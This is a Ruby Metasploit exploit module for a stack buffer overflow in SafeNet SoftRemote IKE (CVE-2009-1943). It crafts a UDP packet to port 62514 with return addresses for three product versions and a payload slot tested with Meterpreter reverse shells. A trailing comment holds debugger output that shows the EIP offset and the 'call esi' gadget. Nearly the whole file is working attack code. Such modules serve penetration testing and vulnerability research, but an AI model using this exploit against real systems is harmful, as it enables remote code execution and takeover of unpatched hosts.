## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'SafeNet SoftRemote IKE Service Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Safenet SoftRemote IKE IreIKE.exe service. When sending a specially crafted udp packet to port 62514 an attacker may be able to execute arbitrary code. This module has been tested with Juniper NetScreen-Remote 10.8.0 (Build 20) using windows/meterpreter/reverse_ord_tcp payloads. }, 'Author' => [ 'MC' ], 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2009-1943' ], [ 'OSVDB', '54831' ], [ 'BID', '35154' ], [ 'URL', 'http://reversemode.com/index.php?option=com_content&task=view&id=63&Itemid=1' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 213, 'BadChars' => "\x00\x0a\x20\x0d", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'Privileged' => true, 'Platform' => 'win', 'Targets' => [ [ 'SafeNet Irelke 10.8.0.20', { 'Ret' => 0x004514a9 } ], [ 'SafeNet Irelke 10.8.0.10', { 'Ret' => 0x00451889 } ], [ 'SafeNet Irelke 10.8.3.6', { 'Ret' => 0x00451929 } ], ], 'DisclosureDate' => 'Jun 1 2009', 'DefaultTarget' => 0)) register_options([Opt::RPORT(62514)], self) end def exploit connect_udp sploit = [0x01000000].pack('V') # IPC packet sploit << [0x00000033].pack('V') # Exploit this thing using command 0x11 (0x33 - 0x28). sploit << payload.encoded sploit << [target.ret].pack('V') sploit << rand_text_alpha_upper(150) print_status("Trying target #{target.name}...") udp_sock.put(sploit) select(nil,nil,nil,5) handler disconnect_udp end end =begin 0:013> g (f7c.fe0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=68413268 ebx=00dcfde8 ecx=00000000 edx=014af53c esi=00dcfdf1 edi=00000000 eip=41316841 esp=014af64c ebp=00000001 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 41316841 ?? ??? 0:008> !pattern_offset 300 [Byakugan] Control of eax at offset 217. [Byakugan] Control of eip at offset 213. 0:008> d esp 014af64c 68 32 41 68 33 41 68 34-41 68 35 41 68 36 41 68 h2Ah3Ah4Ah5Ah6Ah 014af65c 37 41 68 38 41 68 39 41-69 30 41 69 31 41 69 32 7Ah8Ah9Ai0Ai1Ai2 014af66c 41 69 33 41 69 34 41 69-35 41 69 36 41 69 37 41 Ai3Ai4Ai5Ai6Ai7A 014af67c 69 38 41 69 39 41 6a 30-41 6a 31 41 6a 32 41 6a i8Ai9Aj0Aj1Aj2Aj 014af68c 33 41 6a 34 41 6a 35 41-6a 36 41 6a 37 41 6a 38 3Aj4Aj5Aj6Aj7Aj8 014af69c 41 6a 39 41 6b 30 41 6b-31 41 6b 32 41 6b 33 41 Aj9Ak0Ak1Ak2Ak3A 014af6ac 6b 34 41 6b 35 41 6b 36-41 6b 37 41 6b 38 41 6b k4Ak5Ak6Ak7Ak8Ak 014af6bc 39 41 6c 30 41 6c 31 41-6c 32 41 6c 33 41 6c 34 9Al0Al1Al2Al3Al4 0:008> d esi 00dcfdf1 61 30 41 61 31 41 61 32-41 61 33 41 61 34 41 61 a0Aa1Aa2Aa3Aa4Aa 00dcfe01 35 41 61 36 41 61 37 41-61 38 41 61 39 41 62 30 5Aa6Aa7Aa8Aa9Ab0 00dcfe11 41 62 31 41 62 32 41 62-33 41 62 34 41 62 35 41 Ab1Ab2Ab3Ab4Ab5A 00dcfe21 62 36 41 62 37 41 62 38-41 62 39 41 63 30 41 63 b6Ab7Ab8Ab9Ac0Ac 00dcfe31 31 41 63 32 41 63 33 41-63 34 41 63 35 41 63 36 1Ac2Ac3Ac4Ac5Ac6 00dcfe41 41 63 37 41 63 38 41 63-39 41 64 30 41 64 31 41 Ac7Ac8Ac9Ad0Ad1A 00dcfe51 64 32 41 64 33 41 64 34-41 64 35 41 64 36 41 64 d2Ad3Ad4Ad5Ad6Ad 00dcfe61 37 41 64 38 41 64 39 41-65 30 41 65 31 41 65 32 7Ad8Ad9Ae0Ae1Ae2 0:008> s -b 0x00400000 0x0047c000 ff d6 . . 004514a9 ff d6 8b e8 8d 44 24 10-c7 44 24 10 00 00 00 00 .....D$..D$..... 0:008> u 0x004514a9 L1 IreIKE+0x514a9: 004514a9 ffd6 call esi =end